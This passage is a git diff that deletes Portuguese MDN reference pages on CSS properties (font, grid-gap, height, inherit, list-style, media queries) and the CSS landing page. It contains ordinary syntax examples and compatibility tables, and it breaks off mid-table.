-<p>Properties for which no values are given are set to their initial value, which is <code>normal</code> for all properties that can be omitted ({{ Cssxref("font-style") }}, {{ Cssxref("font-variant") }}, {{ Cssxref("font-weight") }}, and {{ Cssxref("line-height") }}).</p>
-
-<p>The {{ Cssxref("font-size-adjust") }} property is also set to its initial value (<code>none</code>) when the {{ Cssxref("font") }} shorthand property is specified.</p>
-
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h3>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/CSS1#font">CSS 1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/1998/REC-CSS2-19980512/fonts.html#propdef-font">CSS 2</a> (for {{ Cssxref("font-size-adjust") }})</li>
- <li><a class="external" href="http://www.w3.org/TR/CSS21/fonts.html#propdef-font">CSS 2.1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/css3-ui/#font">css3-ui</a> (for new system font values)</li>
-</ul>
-
-<h3 id="Compatibilidade_com_navegadores" name="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h3>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Navegador</th>
- <th>Versão mais antiga</th>
- </tr>
- <tr>
- <td>Internet Explorer</td>
- <td>3</td>
- </tr>
- <tr>
- <td>Netscape</td>
- <td>4</td>
- </tr>
- <tr>
- <td>Opera</td>
- <td>3.5</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Veja também</h3>
-
-<p>{{ Cssxref("font") }} {{ Cssxref("font-family") }}, {{ Cssxref("font-size") }}, {{ Cssxref("font-size-adjust") }}, {{ Cssxref("font-style") }}, {{ Cssxref("font-variant") }}, {{ Cssxref("font-weight") }}, {{ Cssxref("line-height") }}</p>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
-<p>{{ languages( { "en": "en/CSS/font", "fr": "fr/CSS/font", "pl": "pl/CSS/font" } ) }}</p>
diff --git a/files/pt-pt/web/css/gap/index.html b/files/pt-pt/web/css/gap/index.html
deleted file mode 100644
index 11f5ba95b5..0000000000
--- a/files/pt-pt/web/css/gap/index.html
+++ /dev/null
@@ -1,179 +0,0 @@
----
-title: grid-gap
-slug: Web/CSS/gap
-translation_of: Web/CSS/gap
-translation_of_original: Web/CSS/grid-gap
-original_slug: Web/CSS/grid-gap
----
-<p>A propriedade CSS <strong><code>grid-gap</code></strong> é uma propriedade de <a href="/pt-PT/docs/Web/CSS/Shorthand_properties">taquigrafia</a> para {{cssxref("grid-row-gap")}} e {{cssxref("grid-column-gap")}} especificando os canais entre as linhas de grelha e as colunas.</p>
-
-<pre class="brush: css no-line-numbers">/* One &lt;length&gt; value */
-grid-gap: 20px;
-grid-gap: 1em;
-grid-gap: 3vmin;
-grid-gap: 0.5cm;
-
-/* One &lt;percentage&gt; value */
-grid-gap: 16%;
-grid-gap: 100%;
-
-/* Two &lt;length&gt; values */
-grid-gap: 20px 10px;
-grid-gap: 1em 0.5em;
-grid-gap: 3vmin 2vmax;
-grid-gap: 0.5cm 2mm;
-
-/* One or two &lt;percentage&gt; values */
-grid-gap: 16% 100%;
-grid-gap: 21px 82%;
-
-/* Global values */
-grid-gap: inherit;
-grid-gap: initial;
-grid-gap: unset;
-</pre>
-
-<p>{{cssinfo}}</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<p>This property is specified as a value for <code>&lt;'grid-row-gap'&gt;</code> followed optionally by a value for <code>&lt;'grid-column-gap'&gt;</code>. If <code>&lt;'grid-column-gap'&gt;</code> is omitted, it’s set to the same value as <code>&lt;'grid-row-gap'&gt;</code>.</p>
-
-<p><code>&lt;'grid-row-gap'&gt;</code> and <code>&lt;'grid-column-gap'&gt;</code> are each specified as a <code>&lt;length&gt;</code> or a <code>&lt;percentage&gt;</code>.</p>
-
-<h3 id="Valores">Valores</h3>
-
-<dl>
- <dt><code>&lt;length&gt;</code></dt>
- <dd>Is the width of the gutter separating the grid lines.</dd>
- <dt><code>&lt;percentage&gt;</code></dt>
- <dd>Is the width of the gutter separating the grid lines, relative to the dimension of the element.</dd>
-</dl>
-
-<h3 id="Sintaxe_formal">Sintaxe formal</h3>
-
-{{csssyntax}}
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<h3 id="Conteúdeo_de_HTML">Conteúdeo de HTML</h3>
-
-<pre class="brush: html">&lt;div id="grid"&gt;
- &lt;div&gt;&lt;/div&gt;
- &lt;div&gt;&lt;/div&gt;
- &lt;div&gt;&lt;/div&gt;
- &lt;div&gt;&lt;/div&gt;
- &lt;div&gt;&lt;/div&gt;
- &lt;div&gt;&lt;/div&gt;
- &lt;div&gt;&lt;/div&gt;
- &lt;div&gt;&lt;/div&gt;
- &lt;div&gt;&lt;/div&gt;
-&lt;/div&gt;</pre>
-
-<h3 id="Conteúdo_de_CSS">Conteúdo de CSS</h3>
-
-<pre class="brush: css; highlight[5]">#grid {
- display: grid;
- height: 200px;
- grid-template: repeat(3, 1fr) / repeat(3, 1fr);
- grid-gap: 20px 5px;
-}
-
-#grid &gt; div {
- background-color: lime;
-}
-</pre>
-
-<p>{{EmbedLiveSample("Example", "100%", "200px")}}</p>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName("CSS3 Grid", "#propdef-grid-gap", "grid-gap")}}</td>
- <td>{{Spec2("CSS3 Grid")}}</td>
- <td>Definição inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<p> </p>
-
-<div class="hidden">A tabela de compatibilidade nesta página é gerada a partir dos dados estruturados. Se pretender contribuir para os dados, por favor, consulte <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e envie-nos um pedido de submissão.</div>
-
-<p>{{Compat("css.properties.grid-gap")}}</p>
-
-<p> </p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li>Propriedade de CSS relacionadas: {{cssxref("grid-row-gap")}}, {{cssxref("grid-column-gap")}}</li>
- <li>Guia de layout de grelha: <em><a href="/pt-PT/docs/Web/CSS/layout_de_grelha_css/conceitos_basicos_de_layour_de_grelha#Canais">Conceitos básicos de layout de grelha - Canais</a></em></li>
-</ul>
-
-<section class="Quick_links" id="Quick_Links">
-<ol>
- <li><a href="/pt-PT/docs/Web/CSS"><strong>CSS</strong></a></li>
- <li><a href="/pt-PT/docs/Web/CSS/Referência_CSS"><strong>Referência CSS</strong></a></li>
- <li><a href="/pt-PT/docs/Web/CSS/layout_de_grelha_css">CSS - Layout de Grelha</a></li>
- <li data-default-state="open"><a href="#"><strong>Guias</strong></a>
- <ol>
- <li><a href="/pt-PT/docs/Web/CSS/layout_de_grelha_css/conceitos_basicos_de_layour_de_grelha">Conceitos básicos de layout de grelha</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
- </ol>
- </li>
- <li data-default-state="open"><a href="#"><strong>Propriedades</strong></a>
- <ol>
- <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
- </ol>
- </li>
- <li data-default-state="open"><a href="#"><strong>Glossário</strong></a>
- <ol>
- <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
- <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
- <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
- <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
- <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
- <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
- <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
- </ol>
- </li>
-</ol>
-</section>
diff --git a/files/pt-pt/web/css/height/index.html b/files/pt-pt/web/css/height/index.html
deleted file mode 100644
index e3b2b71c2c..0000000000
--- a/files/pt-pt/web/css/height/index.html
+++ /dev/null
@@ -1,86 +0,0 @@
----
-title: height
-slug: Web/CSS/height
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/height
----
-<p>{{ CSSRef() }}</p>
-
-<h3 id="Resumo" name="Resumo">Resumo</h3>
-
-<p>A propriedade <code>height</code> é usada para configurar a altura dada a um elemento.</p>
-
-<ul>
- <li>Valor inicial: auto</li>
- <li>Aplica-se a: o nível do bloco e elementos substituídos</li>
- <li>Herdado: não</li>
- <li>Porcentagens: refere-se à altura do bloco que o contém</li>
- <li>Mídia: <a href="pt/CSS/Media/Visual">Visual</a></li>
-</ul>
-
-<h3 id="Sintaxe" name="Sintaxe">Sintaxe</h3>
-
-<pre class="eval"> height: [ &lt;length&gt; || &lt;percentage&gt; ] auto | inherit
-</pre>
-
-<h3 id="Valores" name="Valores">Valores</h3>
-
-<ul>
- <li><strong>length</strong> : pode ser em px, cm, in, em</li>
- <li><strong>percentage</strong> : % especificado como uma porcentagem da altura do elemento pai</li>
- <li><strong>auto</strong> : o navegador calculará e selecionará uma altura para o elemento especificado.</li>
-</ul>
-
-<h3 id="Exemplos" name="Exemplos">Exemplos</h3>
-
-<p><a href="/samples/cssref/height.html">View Live Examples</a></p>
-
-<pre>table{height: 100%;}
-
-img{height: 200px;}
-
-form{height: auto;}
-</pre>
-
-<p><span class="comment">== Notas ==</span></p>
-
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h3>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/CSS1#height">CSS 1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/CSS21/visudet.html#the-height-property">CSS 2.1</a></li>
-</ul>
-
-<h3 id="Compatibilidade_com_navegadores" name="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h3>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Navegador</th>
- <th>Versão mais antiga</th>
- </tr>
- <tr>
- <td>Internet Explorer</td>
- <td>4</td>
- </tr>
- <tr>
- <td>Netscape</td>
- <td>4</td>
- </tr>
- <tr>
- <td>Opera</td>
- <td>3.5</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Veja também</h3>
-
-<p><a href="pt/CSS/box_model">box model</a>, {{ Cssxref("width") }}, {{ Cssxref("-moz-box-sizing") }}</p>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
-<p>{{ languages( { "en": "en/CSS/height", "fr": "fr/CSS/height" } ) }}</p>
diff --git a/files/pt-pt/web/css/index.html b/files/pt-pt/web/css/index.html
deleted file mode 100644
index 9f7a65ea5f..0000000000
--- a/files/pt-pt/web/css/index.html
+++ /dev/null
@@ -1,105 +0,0 @@
----
-title: 'CSS: Folhas de Estilo em Cascata'
-slug: Web/CSS
-tags:
- - Apresentação
- - CSS
- - Desenho
- - Design
- - Disposição
- - Estilos
- - Folhas de Estilo em Cascata
- - Folhas de estilo
- - Landing
- - Referencia
- - 'l10n:prioridade'
-translation_of: Web/CSS
----
-<div>{{CSSRef}}</div>
-
-<p class="summary"><span class="seoSummary"><strong>Folhas de Estilo em Cascata (CSS - Cascading Style Sheets</strong>) é uma linguagem de <a href="/pt-PT/docs/Web/API/Folha_de_estilo">folha de estilo</a> utilizada para descrever a apresentação de um documento escrito em <a href="/pt-PT/docs/Web/HTML" title="HyperText Markup Language">HTML</a> or <a href="/pt-PT/docs/Introducao_a_XML">XML</a> (incluindo dialetos de XML, tais como <a href="/pt-PT/docs/Web/SVG">SVG</a>, <a href="/pt-PT/docs/Web/MathML">MathML</a> ou </span> {{Glossary("XHTML", "", 1)}})<span class="seoSummary">. CSS descreve como os elementos deverão ser renderizados no ecrã, no papel, na fala, ou em outra média.</span></p>
-
-<p>CSS é uma das principais linguagens da Web aberta e está estandardizada nos navegadores de acordo com a <a class="external" href="http://w3.org/Style/CSS/#specs">especificação W3C</a>. Desenvolvida em níveis, CSS1 está agora obsoleta, CSS2.1 é a recomendação, e <a href="/pt-PT/docs/Web/CSS/CSS3" title="CSS3">CSS3</a>, agora divida em pequenos módulos, está a progredir a caminho da estandardização</p>
-
-<section id="sect1">
-<ul class="card-grid">
- <li><span>Introdução a CSS</span>
-
- <p>Se é novo no desenvolvimento Web, certifique-se que lê o nosso artigo de <a href="/pt-PT/docs/Learn/Comecar_com_a_Web/CSS_basico">CSS - Essencial</a> para saber o que é CSS e como utilizar.</p>
- </li>
- <li><span>Tutoriais de CSS</span>
- <p>A nossa <a href="/pt-PT/docs/Learn/CSS">área de aprendizagem de CSS</a> contém uma grande quantidade de tutoriais para levá-lo do nível de principiante até à proficiência, abrangendo todos os conteúdos essenciais.</p>
- </li>
- <li><span>Referência de CSS</span>
- <p>A nossa <a href="/pt-PT/docs/Web/CSS/Refer%C3%AAncia_CSS">referência exaustiva de CSS </a>para os programadores da Web que descreve cada propriedade e conceito de CSS.</p>
- </li>
-</ul>
-
-<div class="row topicpage-table">
-<div class="section">
-<h2 class="Documentation" id="Tutoriais">Tutoriais</h2>
-
-<p>A nossa <a href="/pt-PT/docs/Learn/CSS">Área de Aprendizagem de CSS </a>apresenta múltiplos módulos que ensinam CSS desde o início  — não é necessário conhecimento prévio.</p>
-
-<dl>
- <dt><a href="/pt-PT/docs/Learn/CSS/Introduction_to_CSS">Introdução ao CSS</a></dt>
- <dd>Este módulo permite-lhe começar com os básicos de como o CSS funciona, incluindo selectores e propriedades, escrever regras CSS, aplicar CSS a HTML, como especificar comprimento, cor e outras unidades em CSS, cascata e herança, modelos básicos de caixa e depuração de CSS.</dd>
- <dt><a href="/pt-PT/docs/Learn/CSS/Estilo_de_texto">Estilizar texto</a></dt>
- <dd>Aqui aprendemos os fundamentos do estilo do texto, incluindo a definição da fonte, negrito e itálico, espaçamento entre linhas e letras, e sombras e outras características do texto. Nós terminamos o módulo, aplicando fontes personalizadas à sua página, e estilizando listas e links.</dd>
- <dt><a href="/pt-PT/docs/Learn/CSS/Estilo_de_caixas">Estilizar caixas</a></dt>
- <dd>A seguir, focamos em estilizar caixas, um dos passos fundamentais para a criação de uma página web. Neste módulo, recapitulamos o modelo da caixa e depois aprendemos a controlar a disposição das caixas, definindo preenchimentos, bordas e margens, cores de fundo personalizadas, imagens e outras características, bem como características mais avancadas como sombras e filtros nas caixas.</dd>
- <dt><a href="/en-US/docs/Learn/CSS/CSS_layout">Disposição de CSS (<em>layout</em>)</a></dt>
- <dd>Até agora, já analisámos os fundamentos do CSS, como estilizar os textos, e como estilizar e manipular as caixas que o seu conteúdo contém. Agora é altura de ver como colocar as suas caixas no lugar certo em relação ao <em>{{Glossary("layout viewport", "viewport")}}</em>, e umas às outras. Cobrimos os pré-requisitos necessários para que possa agora mergulhar profundamente no layout do CSS, observando diferentes configurações de visualização, métodos tradicionais de layout envolvendo <em>float </em>e posicionamento, e novas ferramentas de posicionamento como o <em>flexbox</em>.</dd>
-</dl>
-</div>
-
-<div class="section">
-<h2 class="Tools" id="Referência">Referência</h2>
-
-<ul>
- <li><a href="https://developer.mozilla.org/pt-PT/docs/Web/CSS/Refer%C3%AAncia_CSS">CSS - Referência</a>: This exhaustive reference for seasoned Web developers describes every property and concept of CSS.</li>
- <li>CSS key concepts:
- <ul>
- <li>The <a href="/en-US/docs/Web/CSS/Syntax">syntax and forms of the language</a></li>
- <li><a href="/en-US/docs/Web/CSS/Specificity">Specificity</a>, <a href="/en-US/docs/Web/CSS/Inheritance">inheritance</a> and <a href="/en-US/docs/Web/CSS/Cascade">the Cascade</a></li>
- <li><a href="/en-US/docs/Web/CSS/box_model">Box model</a> and <a href="/en-US/docs/Web/CSS/margin_collapsing">margin collapse</a></li>
- <li>The <a href="/en-US/docs/Web/CSS/All_About_The_Containing_Block">containing block</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context" title="The stacking context">Stacking</a> and <a href="/en-US/docs/Web/CSS/block_formatting_context" title="block formatting context">block-formatting</a> contexts</li>
- <li><a href="/en-US/docs/Web/CSS/initial_value">Initial</a>, <a href="/en-US/docs/Web/CSS/computed_value">computed</a>, <a href="/en-US/docs/Web/CSS/used_value">used</a>, and <a href="/en-US/docs/Web/CSS/actual_value">actual</a> values</li>
- <li><a href="/en-US/docs/Web/CSS/Shorthand_properties">CSS shorthand properties</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS Flexible Box Layout</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
- <li><a href="/en-US/docs/Web/CSS/Media_Queries">Media queries</a></li>
- </ul>
- </li>
-</ul>
-
-<h2 class="Tools" id="Cookbook">Cookbook</h2>
-
-<p>The <a href="/en-US/docs/Web/CSS/Layout_cookbook">CSS layout cookbook</a> aims to bring together recipes for common layout patterns, things you might need to implement in your own sites. In addition to providing code you can use as a starting point in your projects, these recipes highlight the different ways layout specifications can be used, and the choices you can make as a developer.</p>
-
-<h2 class="Tools" id="Ferramentas_para_o_desenvolvimento_de_CSS">Ferramentas para o desenvolvimento de CSS</h2>
-
-<ul>
- <li>You can use the <a class="external" href="https://jigsaw.w3.org/css-validator/">W3C CSS Validation Service</a> to check if your CSS is valid. This is an invaluable debugging tool.</li>
- <li><a href="/en-US/docs/Tools">Firefox Developer Tools</a> lets you view and edit a page's live CSS via the <a href="/en-US/docs/Tools/Page_Inspector">Inspector</a> and <a href="/en-US/docs/Tools/Style_Editor">Style Editor</a> tools.</li>
- <li>The <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/60">Web Developer extension</a> for Firefox lets you track and edit live CSS on watched sites.</li>
- <li>The Web community has created various other <a href="/en-US/docs/Web/CSS/Tools">miscellaneous CSS tools</a> for you to use.</li>
-</ul>
-
-<h2 id="Erros_de_metadados">Erros de metadados</h2>
-
-<ul>
- <li>Firefox: {{bug(1323667)}}</li>
-</ul>
-</div>
-</div>
-</section>
-
-<h2 id="Consultar_também">Consultar também:</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/Demos_of_open_web_technologies#CSS">CSS demos</a>: Get a creative boost by exploring examples of the latest CSS technologies in action.</li>
- <li>Web languages to which CSS is often applied: <a href="/en-US/docs/HTML">HTML</a>, <a href="/en-US/docs/SVG">SVG</a>, <a href="/en-US/docs/XHTML">XHTML</a>, and <a href="/en-US/docs/XML">XML</a>.</li>
- <li>Mozilla technologies that make extensive use of CSS: <a href="/en-US/docs/Mozilla/Tech/XUL">XUL</a>, <a href="/en-US/Firefox">Firefox</a>, and <a href="/en-US/docs/Mozilla/Thunderbird">Thunderbird</a> <a href="/en-US/docs/Extensions">extensions</a> and <a href="/en-US/Add-ons/Themes">themes</a>.</li>
-</ul>
diff --git a/files/pt-pt/web/css/inherit/index.html b/files/pt-pt/web/css/inherit/index.html
deleted file mode 100644
index 8bfcd334e5..0000000000
--- a/files/pt-pt/web/css/inherit/index.html
+++ /dev/null
@@ -1,7 +0,0 @@
----
-title: inherit
-slug: Web/CSS/inherit
-translation_of: Web/CSS/inherit
----
-<p>Herda propriedade do elemento pai.
-</p>
diff --git a/files/pt-pt/web/css/list-style/index.html b/files/pt-pt/web/css/list-style/index.html
deleted file mode 100644
index 3a6cf6d36d..0000000000
--- a/files/pt-pt/web/css/list-style/index.html
+++ /dev/null
@@ -1,79 +0,0 @@
----
-title: list-style
-slug: Web/CSS/list-style
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/list-style
----
-<p>{{ CSSRef() }}</p>
-
-<h2 id="Resumo" name="Resumo">Resumo</h2>
-
-<p>A propriedade <code>list-style</code> é uma propriedade usada para configurar list-style-type, list-style-image, e list-style-position.</p>
-
-<ul>
- <li>Valor inicial: olhar propriedades individuais para detalhes</li>
- <li>Aplica-se a: elementos com 'display' com valor 'list-item'</li>
- <li>Herdado: sim</li>
- <li>Porcentagens: N/A</li>
- <li>Mídia: <a href="pt/CSS/Media/Visual">Visual</a></li>
-</ul>
-
-<h2 id="Sintaxe" name="Sintaxe">Sintaxe</h2>
-
-<pre class="eval"> list-style: [disc | circle | square | decimal | lower-roman | upper-roman | lower-alpha | upper-alpha | none] || [inside | outside] || [&lt;url&gt; | none]
-</pre>
-
-<h2 id="Valores" name="Valores">Valores</h2>
-
-<p>disc, circle, square, decimal, lower-roman, upper-roman, lower-alpha, upper-alpha, inside, outside, &lt;url&gt;, none</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="HTML">HTML</h3>
-
-<pre class="brush: html">List 1
-&lt;ul class="one"&gt;
- &lt;li&gt;List Item1&lt;/li&gt;
- &lt;li&gt;List Item2&lt;/li&gt;
- &lt;li&gt;List Item3&lt;/li&gt;
-&lt;/ul&gt;
-List 2
-&lt;ul class="two"&gt;
- &lt;li&gt;List Item A&lt;/li&gt;
- &lt;li&gt;List Item B&lt;/li&gt;
- &lt;li&gt;List Item C&lt;/li&gt;
-&lt;/ul&gt;
-</pre>
-
-<h3 id="CSS">CSS</h3>
-
-<pre class="brush: css">.one {
- list-style: circle;
-}
-
-.two {
- list-style: square inside;
-}</pre>
-
-<h3 id="Result">Result</h3>
-
-<p>{{EmbedLiveSample('Exemplos')}}</p>
-
-<h2 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h2>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/CSS1#list-style">CSS 1</a></li>
-</ul>
-
-<p><span class="comment">* {{ mediawiki.external('http://www.w3.org/TR/CSS21/visudet.html#the-height-property CSS 2.1') }} == Compatibilidade com navegadores == &lt;table class="standard-table"&gt; &lt;tr&gt; &lt;th&gt;Navegador&lt;/th&gt; &lt;th&gt;Versão mais antiga&lt;/th&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Internet Explorer&lt;/td&gt; &lt;td&gt;4&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Netscape&lt;/td&gt; &lt;td&gt;4&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Opera&lt;/td&gt; &lt;td&gt;3.5&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt;</span></p>
-
-<h2 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Veja também</h2>
-
-<p><a href="pt/CSS/box_model">list-style-image</a>, {{ Cssxref("list-style-type") }}, {{ Cssxref("list-style-position") }}</p>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
-<p>{{ languages( { "en": "en/CSS/list-style", "fr": "fr/CSS/list-style" } ) }}</p>
diff --git a/files/pt-pt/web/css/media_queries/index.html b/files/pt-pt/web/css/media_queries/index.html
deleted file mode 100644
index 13fc49d8ec..0000000000
--- a/files/pt-pt/web/css/media_queries/index.html
+++ /dev/null
@@ -1,111 +0,0 @@
----
-title: Consultas de média
-slug: Web/CSS/Media_Queries
-tags:
- - CSS
- - Consultas de Média
- - Consultas de média CSS3
- - Desenho Adaptável
- - Referencia
- - Visão Geral
-translation_of: Web/CSS/Media_Queries
-original_slug: Web/CSS/Consultas_de_media
----
-<div>{{CSSRef}}</div>
-
-<p><strong>Consultas de média</strong> permitem adaptar o seu site ou aplicação de acordo com diferentes características ou parâmetros dos dispositivos utilizados.</p>
-
-<p>São um elemento chave de <a href="/en-US/docs/Web/Apps/Progressive/Responsive">desenho adaptável </a>. Por exemplo, uma consulta de média pode reduzir o tamanho do texto em dispositivos pequenos, aumentar o espaço entre parágrafos quando a página é visualizada em modo de paisagem, ou ampliar os botões nos ecrãs táteis.</p>
-
-<p>Em <a href="/en-US/docs/Web/CSS">CSS</a>, utiliza-se a <a href="/en-US/docs/Web/CSS/At-rule">regra "at"</a> {{cssxref("@media")}} para aplicar, condicionalmente, parte de uma folha de estilos com base no resultado de uma consulta de média. E utiliza-se {{cssxref("@import")}} para aplicar, condicionalmente, uma folha de estilos inteira.</p>
-
-<h3 id="Consultas_de_média_em_HTML">Consultas de média em HTML</h3>
-
-<p>Em <a href="/en-US/docs/Web/HTML">HTML</a>, as consultas de média podem-se aplicar a vários elementos:</p>
-
-<ul>
- <li>No atributo {{htmlattrxref("media", "link")}} do elemento {{HTMLElement("link")}}. O valor deste atributo define os média a que se deve aplicar o recurso ligado (tipicamente, este recurso é um documento CSS).</li>
- <li>No atributo {{htmlattrxref("media", "source")}} do elemento {{HTMLElement("source")}} (apenas é válido quando este elemento está aninhado dentro de um elemento {{HTMLElement("picture")}}.). O valor deste atributo define quais os média que podem utilizar a imagem associada ao elemento.</li>
- <li>No atributo {{htmlattrxref("media", "style")}} do elemento {{HTMLElement("style")}}. O valor deste atributo define os média a que são aplicados os estilos.</li>
-</ul>
-
-<h3 id="Consultas_de_média_em_JavaScript">Consultas de média em JavaScript</h3>
-
-<p>Em <a href="/en-US/docs/Web/JavaScript">JavaScript</a>, pode-se usar o método {{domxref("Window.matchMedia()")}} para verificar se a janela possui as características definidas na consulta de média. Também se pode utilizar {{domxref("MediaQueryList.addListener()")}} para gerar eventos sempre que houver mudanças no resultado da consulta de média. Com estas funcionalidades, o seu site ou aplicação pode responder a mudanças na configuração, orientação ou estado do dispositivo.</p>
-
-<p>Pode aprender mais sobre utilização programática das consultas de média no artigo <a href="/en-US/docs/Web/CSS/Media_Queries/Testing_media_queries">Testar consultas de média</a>.</p>
-
-<h2 id="Referências">Referências</h2>
-
-<h3 id="Regras_at">Regras "at"</h3>
-
-<div class="index">
-<ul>
- <li>{{cssxref("@import")}}</li>
- <li>{{cssxref("@media")}}</li>
-</ul>
-</div>
-
-<h2 id="Guias">Guias</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries">Utilizar consultas de média</a></dt>
- <dd>Introdução às consultas de média, a sua sintaxe, os operadores e funcionalidades utilizadas para construir as expressões das consultas de média.</dd>
- <dt><a href="/en-US/docs/Web/CSS/Media_Queries/Testing_media_queries">Testar consultas de média programaticamente</a></dt>
- <dd>Descrição de como utilizar consultas de média no código JavaScript code para determinar o estado do dispositivo, e como instalar <em>listeners</em> que notificam o código quando o resultado das consultas muda (por exemplo, quando o utilizador roda o ecrã ou redimensiona a janela do navegador).</dd>
- <dt><a href="/en-US/docs/Web/CSS/Media_Queries/Using_Media_Queries_for_Accessibility">Utilizar Consultas de média para Acessibilidade</a></dt>
- <dd>Este artigo explica de que forma as consultas de média podem ajudar os utilizadores a compreender melhor o seu site.</dd>
-</dl>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('CSS5 Media Queries')}}</td>
- <td>{{Spec2('CSS5 Media Queries')}}</td>
- <td> </td>
